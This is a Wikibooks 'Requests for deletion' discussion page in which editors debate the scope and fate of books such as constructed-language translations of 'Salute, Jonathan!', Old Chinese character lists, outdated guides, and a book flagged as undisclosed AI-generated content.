Wikibooks enwikibooks https://en.wikibooks.org/wiki/Main_Page MediaWiki 1.47.0-wmf.20 first-letter Media Special Talk User User talk Wikibooks Wikibooks talk File File talk MediaWiki MediaWiki talk Template Template talk Help Help talk Category Category talk Cookbook Cookbook talk Transwiki Transwiki talk Wikijunior Wikijunior talk Subject Subject talk TimedText TimedText talk Module Module talk Event Event talk 4 385 4670676 4670111 2026-09-17T14:25:19Z Kittycataclysm 3371989 Adding deletion request for [[Art And AI]] 4670676 wikitext text/x-wiki __NEWSECTIONLINK__ [[Category:Wikibooks deletion|{{PAGENAME}}]] {{Discussion Rooms}} {{TOCleft}} {{shortcut|WB:RFD}} {{Requests for deletion/New deletion}} {{Requests for deletion/Deletion intro}} <!-- New deletion nominations go at the bottom of page. --> == [[Salute, Jonathan!]] and its translations == <div style="column-count: 7;"> * [[Salute, Jonathan!|Interlingue/Occidental]] ([[w:en:Occidental|w]], original) * [[Òla, Ionatà!|Audià]] * [[Holo, Jonathan!|Cristianés]] * [[Terve, Jonathan!|Ekumenski]] * [[Hej, Jonathan! (Germanisch)|Germanisch]] * [[Salom, Jonatan!|Globasa]] * [[Àlŏ, Jonathan!|Guosa]] ([[w:en:Guosa|w]]) * [[Salut, Jonathan!|Idiom Neutral]] ([[w:en:Idiom Neutral|w]]) * [[Saluto, Jonathan! (Ido)|Ido]] ([[w:en:Ido|w]]) * [[Hallo, Jonathan!|Interlingua]] ([[w:en:Interlingua|w]]) * [[Salut, Jonathan! (Interocidental)|Interocidental]] * [[Bune Ğonatan!|Lingaust]] * [[Oila, Jonatan!|Lingue Simple]] * [[Haloo, Jonatan!|Lingwa de Planeta]] ([[w:en:Lingwa de Planeta|w]]) * [[Sin Chao, Jonathan!|Masa Tang]] * [[Salut, ionatano!|Meteza]] * [[Salu, Jon!|Mini]] * [[Hay, Jonathan!|Mirad]] * [[Hai, Jon!|Monav]] * [[Sesan Jon!|Monkel]] * [[Salam, Jonathan!|Mundeze]] * [[Dag, Jonathan!|Negerhollands]] ([[w:en:Negerhollands|w]]) * [[Salut Jonathan!|Neo]] ([[w:en:Neo|w]]) * [[Hej, Jonathan!|Nordien]] * [[Saluto, Jonathan!|Novial]] ([[w:en:Novial|w]]) * [[Salute, Jonathan! (Novlingue)|Novlingue]] * [[Alo, Jonathan!|Numo]] * [[Hela, Jonathan!|Proyo]] * [[Salute, Jonathan! (Romanica)|Romanica]] ([[w:en:Romanica|w]]) * [[Simi, Jonathan!|Solresol]] ([[w:en:Solresol|w]]) * [[Toki a, jan Jonatan!|Toki Pona]] ([[w:en:Toki Pona|w]]) * [[Glidis, o Jonathan!|Volapük]] ([[w:en:Volapük|w]]) </div> There are a couple of issues here: # Beyond their introductions, all of these books are written in languages which are not English, making them out of scope for the English Wikibooks. # All but one of these books are in fact written in constructed languages, most of them in recently created conlangs. In some cases (e.g. [[Sin Chao, Jonathan!]]), I can't find any reliable sources describing the target language outside of the translation itself. # Most of the translations (i.e. other than [[Salute, Jonathan!]] itself) were abandoned within the first five or so chapters (out of 100); none of them are complete, and there seems to be little effort to complete any of them. While I recognize that this is an unusual project, and potentially one which could have some value, it's not at all clear to me that the English Wikibooks is the right place for it. — [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 00:24, 29 September 2024 (UTC) : I'm really not sure what to do about these ones. While I recognize that this approach is certainly one method of teaching a language, I'm not sure that it constitutes an educational textbook. We do require that the English Wikibooks be written in English—for language-learning books, this typically means that the instructional parts are in English while the exercises are in the language being taught. I do think that if the language doesn't have much supporting evidence outside the book itself, it can safely be deleted. — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 01:01, 29 September 2024 (UTC) : Author of the book here. I originally wanted to put it in the Interlingue Wikibooks https://ie.wikibooks.org/wiki/Principal_p%C3%A1gine but it somehow got locked when I wasn't paying attention and so I ended up putting it here. Getting it unlocked requires going through the process of starting an Incubator and all the rest so I opted for here and then started putting some English-only content once it was done. It's sort of in the same vein as books like Lingua Latina per se Illustrata that have separate versions with teacher notes and whatnot. [[Salute, Jonathan!/Capitul 1 - with notes]] After it was done the auxlang community really took to it which was a nice surprise. I think Ido has the largest number of chapters at the moment at 15. :If the vast content of this book could be used to justify a quick reopening of the Interlingue Wikibooks to move it there, I'd love to do that. I imagine that an incubator with 100+ book chapters would be enough to open a Wikibooks and that's what this is. — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 06:02, 29 September 2024 (UTC) : Ah, I just realized that we do have a proposal to reopen the Interlingue Wikibooks: https://meta.wikimedia.org/wiki/Requests_for_new_languages/Wikibooks_Interlingue along with an Incubator page here. https://incubator.wikimedia.org/wiki/Wb/ie/Principal_p%C3%A1gine : How easy would it be to migrate the entirety of Salute Jonathan to there? — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 06:30, 29 September 2024 (UTC) :: Hi @[[User:Mithridates|Mithridates]]! I'm not sure how incubator projects work, but I fully support migrating these books there. You may want to inquire over there and link to this discussion to support your request to move the content over there. Cheers! — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 13:16, 29 September 2024 (UTC) ::: Hi! Actually I have a third idea to propose after thinking about this again today (haven't been here much since I finished the book): I noticed that there is more English content than I remember and that might make it an awkward fit for the Interlingue Wikibooks. I definitely agree that having all the auxlang translations for new auxlang projects goes well beyond the scope of this Wikibooks. Finally, there are some auxlangs that are notable with their own Wikipedias. ::: So the idea is the following: :::# Leave the original here and I can continue the work on the version with English notes and grammar. That will make it the same as Lingua Latina per se Illustrata, English by the Nature Method, Athenaze and all the rest. :::# The Interlingua one can move to the Interlingua Wikibooks (maybe Romanica too if they want as it is sort of a dialect of Interlingua). :::# For Ido and Lingua Franca Nova which have a Wikipedia but not a Wikibooks, I'm a little bit unsure...technically they could have their own version like the original one but would require English explanations. I could let them know and see if they are willing to do so and see what they think (work on adding English to the books vs. move the content elsewhere). :::# The rest can move to a Github repo, then be deleted, and the front page of this book can have a single link to the repo. ::: Any thoughts on that? Adding the extra English content will be easy as it is my book and I know it inside and out. ::: Edit: [https://en.wikibooks.org/wiki/Salute,_Jonathan!/Grammar_(pronouns) this page] I just added. — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 13:50, 29 September 2024 (UTC) :::: Thanks for taking the time to consider this! Here are my responses/questions: ::::* Is the original [[Salute, Jonathan!]] (Occidental)? Since that one is quite fleshed out, I agree that if you edit it so the primary language of the book (e.g. headers, instructions, etc) are written in English while leaving the actual story in Occidental, it would be okay and fit in more with instructional language textbooks. ::::* For your points 2 and 3, I'm not sure how those other projects work, so I'll leave it up to them. I'm not quite sure why they would need to move, since in theory they could be revised with English as the language of instruction? Although, they have been left incomplete for a long time. ::::* For your point 4, I have no problem with that. Cheers! — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 16:51, 29 September 2024 (UTC) ::::: Hello again, it's the weekend so I have a bit more time to work on this. I've decided to merge the extra content from the following five chapters since the difference is fairly small and the original chapters should now have this English content. Could you delete these five pages now that they are no longer needed? [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 14:02, 5 October 2024 (UTC) ::::: [[Salute, Jonathan!/Capitul 1 - with notes]] ::::: [[Salute, Jonathan!/Capitul 2 - with notes]] ::::: [[Salute, Jonathan!/Capitul 3 - with notes]] ::::: [[Salute, Jonathan!/Capitul 4 - with notes]] ::::: [[Salute, Jonathan!/Capitul 5 - with notes]] [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 14:02, 5 October 2024 (UTC) :::::: [[File:Yes_check.svg|{{#ifeq:|small|8|15}}px|link=|alt=]] {{#ifeq:|small|<small>|}}'''Done'''{{#ifeq:|small|</small>|}} — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 23:34, 5 October 2024 (UTC) ::::::: Hi again! No luck trying to find a home for the random language translations on other auxlang wikis, can't find one that is actively maintained. ::::::: The thought struck me that maybe I could just put those ones on a sub page of my user page, would that be permitted? If not, I think I'll just stick them somewhere in GitHub and call it a day since none of the people who started the translations seem to care enough to do anything about them. I'd rather not see them outright disappear but since they aren't mine I don't care enough about them to do much more work than copy and paste them somewhere. ::::::: (I would leave the ones in languages with an ISO-639 code and Wikipedia here, of course) — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 14:13, 9 November 2024 (UTC) :::::::: Thank you for checking! I don't personally see an issue with moving them to your user space right now. Cheers — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 17:21, 9 November 2024 (UTC) ::::::::: Thanks a lot! I've started a single page where I will put them all here [[User:Mithridates/SJ]] and will proceed slowly due to lack of time and also to avoid stepping on any toes / asking you to delete too much at a time and possibly deleting the wrong content. ::::::::: For this week I have put the content for the languages Audia, Cristianès, Guosa, Lingaust, Mini, Mirad, and Monav on that page as they all have a single page of content and didn't take much time to move. Please delete those. Once they are gone I will add a note on the main page letting people know where they have gone (in addition to a thank you for their interest in the book! I do love how many people have recognized it as a good source material for teaching a language). — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 04:09, 10 November 2024 (UTC) : {{keep}} the translations for languages that have an article on the English Wikipedia, i.e. Guosa, Idiom Neutral, Ido, Interlingua, Lingwa de Planeta, Negerhollands, Neo, Novial, Occidental, Romanica, Solresol, Toki Pona, and Volapük. : Translations for languages that don't have an article can be kept if they have reliable sources, which I was able to find for the following languages (if you think they are not reliable, please let me know): :* Globasa: [https://www.languagesandnumbers.com/how-to-count-in-globasa/en/globasa/] [https://greyson.conlang.org/2020/01/29/shouting-out-globasa-and-pandunia/] :* Mini: [https://jprogr.github.io/mini] [https://www.omniglot.com/language/phrases/mini.htm] [https://www.languagesandnumbers.com/how-to-count-in-mini/en/mini/] : {{del}} and move to [[User:Mithridates/SJ]] the rest of the translations, i.e. Audià/Audian, Cristianés, Ekumenski, Germanisch, Interocidental, Lingaust, Lingue Simple, Masa Tang, Mirad, Monav, Monkel, Mundeze, Nordien, Novlingue, Numo, Proyo, and Scuian/Meteza. If you can find reliable sources for those languages, please let me know. : In particular, I could not find resources for Audià/Audian and Monav after searching through 15 and 17 pages on Google, respectively. It doesn't help that [[Òla, Ionatà!|their]] [[Hai, Jon!|translations]] don't explain what those languages are and where to find resources for them. This makes contributing to those translations almost impossible until @[[User:Caro de Segeda|Caro de Segeda]] can provide resources to us. It's possible that the resources may have disappared from the Internet, or that those languages were created by Caro de Segeda him/herself. If you can find resources for Audià/Audian and Monav, please let me know. : I'm notifying the primary contributors of the translations: @[[User:Caro de Segeda|Caro de Segeda]], @[[User:Frzzl|Frzzl]], @[[User:Greatscotteh|Greatscotteh]], @[[User:IHateNumbers234|IHateNumbers234]], @[[User:Jayeless2|Jayeless2]], @[[User:Morozof|Morozof]], @[[User:Omnihom|Omnihom]], @[[User:Omoutuazn|Omoutuazn]], @[[User:PovriNaivon|PovriNaivon]], @[[User:Sir Beluga|Sir Beluga]] and @[[User:Tyoyafud|Tyoyafud]]. — [[User:EJPPhilippines|EJPPhilippines]] ([[User talk:EJPPhilippines|discuss]] • [[Special:Contributions/EJPPhilippines|contribs]]) 09:52, 30 June 2025 (UTC) :: Caro de Segeda said on [https://www.reddit.com/r/conlangs/comments/1lcnz9g/comment/n0sc3wx/ Reddit] that Monav was created by him/her and that he/she didn't publish any resources about it other than [[Hai, Jon!]]. With '''zero''' other resources to rely on for contributing to the translation, and the fact that Monav is in [[User:Mithridates/SJ]], [[Hai, Jon!]] should be speedy deleted. — [[User:EJPPhilippines|EJPPhilippines]] ([[User talk:EJPPhilippines|discuss]] • [[Special:Contributions/EJPPhilippines|contribs]]) 01:38, 3 July 2025 (UTC) ::: I've undone the speedy deletion as Caro de Segeda posted a [https://prexins.wordpress.com/2025/07/04/monav/ resource] for Monav. — [[User:EJPPhilippines|EJPPhilippines]] ([[User talk:EJPPhilippines|discuss]] • [[Special:Contributions/EJPPhilippines|contribs]]) 07:18, 4 July 2025 (UTC) :::: You can delete all the ones that I have created myself, I have already moved them to other places. — [[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 12:39, 5 July 2025 (UTC) {{outdent|::::}}I don't know if this is helpful since it wouldn't apply to most of these, but [[s:mul:]] could hold some of these. — [[User:Arlo Barnes|Arlo Barnes]] ([[User talk:Arlo Barnes|discuss]] • [[Special:Contributions/Arlo Barnes|contribs]]) 09:18, 30 November 2025 (UTC) : I don't think that would be within the scope of that project. I'm not aware of any other situation where Wikisource publishes translations of texts created on Wikimedia projects - that's usually left up to other language editions of the same project. — [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 05:34, 1 December 2025 (UTC) :: In this situation there isn't a separate [[s:ie:]] distinct from Multilingual Wikisource (see [[meta:Wikisource#List of Wikisources]]). In fact, there are very few multilingual wikis in the Wikimedia sphere; while this project ''could'' move to a Miraheze-hosted or similar wiki farm location, I think it would be a missed opportunity. I suppose an [[Interlingue]] book could be started in [[shelf:Constructed languages]] which would have all 100 chapters as an appendix (and likewise for the other languages), but that also seems non-ideal since it requires an English-language text that doesn't currently exist to be created. [[WB:AT]] seems to describe a similar situation to this one and prescribe Wikisource as the solution, and [[WB:SOURCE]] mentions fiction as out-of-scope for Wikibooks (even as in this case, language-educational fiction). [[s:mul:Wikisource:about Wikisource]] simply speaks of source texts and doesn't mention publication requirements, so maybe that is specific to some of the monolingual editions? — [[User:Arlo Barnes|Arlo Barnes]] ([[User talk:Arlo Barnes|discuss]] • [[Special:Contributions/Arlo Barnes|contribs]]) 22:28, 5 December 2025 (UTC) :{{keep}} 100% keep. These books are a core part of language textbooks on Wikibooks and have been for years. Not sure why this is even being debated.--[[User:Xania|Xania]] [[Image:Flag_of_Estonia.svg|15px]] [[Image:Flag_of_Ukraine.svg|15px]] [[User talk:Xania|^talk]] 17:55, 16 May 2026 (UTC) ::With all due respect, some of the books included in this nomination (like [[Sin Chao, Jonathan!]]) are written in constructed languages which are not substantially attested anywhere else. I struggle to imagine any educational purpose for such a book. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 00:12, 17 May 2026 (UTC) == [[International Baccalaureate]] == Not actually a book in and of itself; rather, it is just a compilation of links to other books —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 23:24, 18 October 2024 (UTC) : Could this be salvaged as a shelf? [[User:Pppery|Pppery]] ([[User talk:Pppery|discuss]] • [[Special:Contributions/Pppery|contribs]]) 05:23, 27 January 2025 (UTC) ::Probably, but are the linked books even useful? IB exams change from year to year - sometimes quite dramatically - so an old exam guide is of very limited value. Many of these books were written 10-15 years ago, and some of them (like [[IB French]]) even have comments indicating that they're no longer applicable. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 02:18, 8 December 2025 (UTC) == [[Character List for Baxter&Sagart]] == Seems completely out of scope as an educational book; it's just a list of characters and outlinks —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 23:53, 18 October 2024 (UTC) :Adding [[Character List for Karlgren's GSR]] and [[Character List for Schuessler's CGSR]] for the same reason —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 23:55, 18 October 2024 (UTC) :These three books do make a package and I agree they should be considered together. However, I strongly object to deleting them. They are really extremely useful resources. I use them every week and I know that many people who do work on Old Chinese phonology do so. There are lots of books out there that are lists of characters, these are called dictionaries. For example Axel Schuessler's ABC Etymological Dictionary of Old Chinese, or Pulleyblank's Lexicon of Reconstructed Pronunciation in Early Middle Chinese, Late Middle Chinese, and Early Mandarin. I see it as entirely a good thing for reference works of this kind to be available free online rather than only in expensive books in university research libraries. If this is in violation of a Wikibooks policy, I would at least like that policy to be drawn to my attention and to have some constructive comment offered about which Wikiproject such a resource should fall under. I will also say on a personal note that I have put literally hundreds of hours of work into these projects and it would grieve me a lot to see this work simply vanish, in particular when I know that colleagues around the world use these books. --[[User:Tibetologist|Tibetologist]] ([[User talk:Tibetologist|discuss]] • [[Special:Contributions/Tibetologist|contribs]]) 07:27, 1 November 2024 (UTC) ::Hi @[[User:Tibetologist|Tibetologist]], and thank you for the feedback! Official Wikibooks policy does not permit standalone dictionaries (see [[WB:DICT]]), though I understand the argument that it is a useful resource. I am wondering if there might be a home for it at [[Wiktionary:Wiktionary:Welcome, newcomers|Wiktionary]] or [[Wikiversity:Wikiversity:SHARE|Wikiversity]]? Cheers —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 12:14, 1 November 2024 (UTC) :::The policy says to use Wiktionary, but these books cannot be moved there. In fact they link there, you can understand me as having made an index to wiktionary, if you like, where the ORDER of the characters is extremely important, information that would be lost in Wiktionary. :::Wikiversity is not a project I participate in, and in any event my books here are older than it, so this option was not available for me at the relevant moment. If you are offering to move my books to Wikiversity, that is very kind of you and I will very graciously accept. [[User:Tibetologist|Tibetologist]] ([[User talk:Tibetologist|discuss]] • [[Special:Contributions/Tibetologist|contribs]]) 14:10, 1 November 2024 (UTC) ::::I have pinged over at Wikiversity Colloquium to ask about suitability and have looped you into the conversation over there. Cheers —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 18:20, 1 November 2024 (UTC) ::I concur. I'm just an undergrad who tries to learn about Sino-Tibetan historical linguistics in his free time but I've found this wikibook to be incredibly useful, and I keep it open in one tab while I watch Professor Nathan Hill's lectures that he uploads to youtube in another tab, and another tab for taking notes. In fact if I remember correctly Professor Hill actually pointed his students to this wikibook. ::I'm not familiar with [[wikiversity:Wikiversity:SHARE|Wikiversity]] but if all the content were as accessible there as it is here then I think that could work. [[User:ChromeBones|ChromeBones]] ([[User talk:ChromeBones|discuss]] • [[Special:Contributions/ChromeBones|contribs]]) 02:43, 9 July 2025 (UTC) :Per [[:v:Wikiversity:Colloquium#Import_Resource_From_Wikibooks?]], I recommend copying and pasting, including attribution via the edit summary and talk page, add appropriate categories and links, and then it could be deleted locally. —[[User:Koavf|Justin (<span style="color:grey">ko'''a'''vf</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 22:32, 3 November 2024 (UTC) == [[Suomen kieli käyttöön]] == Multiple pages in this book are written entirely in Finnish, which is out of the enWB scope. —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 00:09, 19 October 2024 (UTC) :I was going to say whether we should ask any fiwikibooks sysop to maybe see if this could be transwikied to fiwb if it's within the scope there. But [[:fi:Toiminnot:Käyttäjät/sysop]] indicates that there are only 3 sysops, and only {{u|Anr}} and {{u|Zache}} have made edits this ''year''. If they deem it to be salvageable, then transwiki + delete, otherwise straight-up delete. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 11:24, 14 November 2024 (UTC) ::It seems that the idea behind the book was for the pages to be bilingual, as it’s a language learning book. That’s why there are Finnish texts included intentionally even on the pages that are complete. There are similar books in dewikibooks and ruwikibooks as well. For the English version, I think the easiest way to proceed would be to clean up and adjust the page layout to fit enwikibooks better, and then translate the missing parts. By the way, if anyone wants to update the book’s name in English, it can be titled ''"Using the Finnish Language"'' or ''"Put Finnish Language into Use"'' for a direct translation. [[User:Zache|Zache]] ([[User talk:Zache|discuss]] • [[Special:Contributions/Zache|contribs]]) 11:57, 14 November 2024 (UTC) == [[AT&T Mobility FAQ]] == * [[AT&T Mobility FAQ]] * [[AT&T Mobility FAQ/MEdia Net Configuration]] * [[AT&T Mobility FAQ/Data Connect Configuration]] An ''extremely'' outdated FAQ on AT&T's cell phone services. Most of this document was written 20+ years ago as a Usenet FAQ; very little of it is accurate or useful anymore (particularly the two subpages, which have to do with obsolete configurations for "tethering" a computer to a cell phone). No objection if someone wants to update it, but there's clearly been no appetite to do that. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 22:20, 30 December 2024 (UTC) :I'm wondering if it might make sense for us to develop some kind of policy on archiving books here. There are many like this one that have a good deal of content but are extremely out of date and just not useful as originally intended. ——[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 22:34, 30 December 2024 (UTC) ::@[[User:Kittycataclysm|Kittycataclysm]]: See the newly developed [[Wikibooks:Outdated books]]. [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 00:16, 31 December 2024 (UTC) :::Ooh, thanks - something like that seems like it could be an appropriate way to handle this book. A lot of the other outdated books I've tagged have been so incomplete that they wouldn't have been particularly useful even as historical references; this one might at least have some interest. :::Any chance we can get a separate namespace (maybe "Archive:") set up for archived book content? That'd make it possible to do things like exclude them from on-site search by default. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 21:07, 31 December 2024 (UTC) ::::I think this might be a more extended discussion, so I'll bump it over to the [[Wikibooks talk:Outdated books|talk page of the draft policy]]! —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 21:54, 31 December 2024 (UTC) == Algebra/Chapter 10/Symmetric Polynomials == I personally believe that [[Algebra/Chapter 10/Symmetric Polynomials|this]], and all of the sections should be deleted for the fact that this goes WAY beyond the scope of what was intended for the Chapter (Algebra II level polynomials). [[User:GoreyCat|GoreyCat]] ([[User talk:GoreyCat|discuss]] • [[Special:Contributions/GoreyCat|contribs]]) 15:07, 6 February 2025 (UTC) :'''Split''': Deletion here is not the best solution (see [[w:WP:ATD]]). Instead, this page and its subpages should be moved to another book, most likely [[Abstract Algebra]]. [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 17:35, 6 February 2025 (UTC) :{{keep}} since there is a good amount of content. If [[Abstract Algebra]] is appropriate, it seems like a fine idea to move there. —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 22:59, 7 February 2025 (UTC) ::Eh, yeah, I supposed moving it is better. I just don't think it's suitable for where it appears. [[User:GoreyCat|GoreyCat]] ([[User talk:GoreyCat|discuss]] • [[Special:Contributions/GoreyCat|contribs]]) 01:40, 8 February 2025 (UTC) == [[Puredyne]] == Development of Puredyne Linux was discontinued in 2012, and the software no longer appears to be available for download anywhere. (An archive of the web site is still up - with a bunch of embedded spam links - but the download links are all dead.) Is this a suitable candidate for archival (cf. [[Wikibooks:Outdated books]]), or should it just be deleted? [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 04:35, 5 March 2025 (UTC) :I'd just archive stuff like this. Looks like a decent bit of work went into it, and you never know when someone might need to use Puredyne for some obscure project. I'd be willing to bet mirrors exist of it somewhere, or someone has it on a drive. If you want to find some stuff worth deleting, comb through [[:Category:Allbooks categories]]. [[User:MediaKyle|MediaKyle]] ([[User talk:MediaKyle|discuss]] • [[Special:Contributions/MediaKyle|contribs]]) 11:30, 5 March 2025 (UTC) == [[Template:Qr-twwp]] == This isn't exactly a request to delete the template, but rather to merge it with {{tlx|Copypaste}}. The {{tlx|Qr-twwp}} template serves the same purpose as {{tlx|Copypaste}}, but without the seven-day period after which the page is deleted. This leads to confusion, as well as a perpetually full [[:Category:Queried pages]]. [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 17:37, 30 March 2025 (UTC) == [[Ghouls of the Miskatonic]] == I don't think that a plot summary of a book is in-scope here. —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 18:43, 20 August 2025 (UTC) :{{vd}} - at least, not a summary of ''this'' book. A summary and/or study guide to a notable work of literature might be in scope, but this is certainly not one. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 21:23, 25 August 2025 (UTC) ::Hi. I am the creator of the pages of this book. If I understand correctly, it has to be a summary of a notable work of literature? So what exactly is defined as such? I only started this as I thought it would be fun, interesting and encouraging to others who read the Arkham Horror novels, and I thought it was permitted as I've seen other summaries of books on wikibooks. [[User:Dayne90|Dayne90]] ([[User talk:Dayne90|discuss]] • [[Special:Contributions/Dayne90|contribs]]) 13:27, 26 August 2025 (UTC) :::Your problem is it is just the plot... it needs to include an educational textual analysis to be in scope [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 12:47, 28 August 2025 (UTC) ::::And ideally it'd be a text which has ''already'' been the subject of literary analysis, such that the analysis on Wikibooks isn't original research. A notable work of literature like ''Frankenstein'' or ''Moby-Dick'' would easily meet that requirement; a tie-in novel for a tabletop RPG probably does not. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 22:08, 29 August 2025 (UTC) == [[Objective Projection: Why the Brain Never Forgets Some Stories]] == Undisclosed AI-generated content. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 02:13, 9 May 2026 (UTC) :<nowiki>'''Keep'''</nowiki> — Comment from page author/subject expert. :I am Levent Bulut, the originator of the <nowiki>''</nowiki>Objective Projection<nowiki>''</nowiki> methodology described in this book (ORCID: 0009-0007-7500-2261, Wikidata: Q138048287). I want to address the AI-generated content concern directly and transparently. :<nowiki>'''</nowiki>On the content itself:<nowiki>'''</nowiki> The methodology, theoretical framework (the six-variable operator E(r) = projS(M, T, V, Δ, Ω, Ng), the Six Golden Rules, the Six-Layer Framework), and all original arguments are my own intellectual work, developed and published independently. This is documented through: :* 26 DOI-registered academic publications on Zenodo (search: "Levent Bulut Objective Projection") :* A peer-reviewed submission currently under review at <nowiki>''</nowiki>Digital Humanities Quarterly<nowiki>''</nowiki> :* Parallel Turkish-language Wikibook and Wikiversity pages on the same methodology :* An open-source SFT dataset on Hugging Face (leventbulut/objective-projection) :<nowiki>'''</nowiki>On AI assistance:<nowiki>'''</nowiki> I used AI tools (Claude) for English translation polish and copy-editing from my Turkish source materials — the same way a non-native English-speaking academic would use a human translator or editor. The <nowiki>''</nowiki>ideas, structure, terminology, citations, and arguments<nowiki>''</nowiki> are entirely my own and pre-date the Wikibooks version, traceable through Zenodo DOI timestamps starting in 2025. :<nowiki>'''</nowiki>Proposed remedy instead of deletion:<nowiki>'''</nowiki> I am happy to: :# Add a clear AI-assistance disclosure to the book's preface, per Wikibooks transparency norms :# Add inline citations to the underlying DOI-registered publications for every major claim :# Link to the parallel Turkish version and academic record :This would address the <nowiki>''</nowiki>undisclosed<nowiki>''</nowiki> part of the concern (which is the actionable policy issue) while preserving content that is original academic work by an identifiable author with a published track record. Deletion of original scholarship because translation assistance was used would set a concerning precedent for non-native English contributors. :<nowiki>I request a few days to add the disclosure and citations before any deletion action. ~~~~</nowiki> [[Special:Contributions/&#126;2026-28847-60|&#126;2026-28847-60]] ([[User talk:&#126;2026-28847-60|talk]]) 18:46, 13 May 2026 (UTC) ::Administrative assistance needed: Automated filters blocking structural improvements and disclosures ::'''Request for Help''' — I am Levent Bulut, the author of this book. I have already provided my AI disclosure and academic credentials (ORCID, DOI list) here in this discussion. ::I am trying to update the book to comply with Wikibooks standards by: ::Adding a formal '''AI assistance disclosure''' at the top of the page. ::Restructuring the content into an '''instructional textbook format''' (adding Learning Objectives). ::Converting plain text formulas into '''LaTeX''' ( format). ::Updating references to include full academic '''DOI''' records. ::However, the automated filter is blocking all my attempts: ::If I try to replace the content with the improved version, it triggers the '''"large amount of content removal"''' filter. ::If I try to add specific academic links, it triggers the '''"automated link/spam"''' filter. ::I am essentially trapped by the filters while trying to improve the book and follow transparency norms. Could an administrator please either whitelist my account or manually apply the improved version of the text? I am ready to provide the full MediaWiki code here if requested. My intent is purely constructive and academic. [[Special:Contributions/&#126;2026-28847-60|&#126;2026-28847-60]] ([[User talk:&#126;2026-28847-60|talk]]) 19:15, 13 May 2026 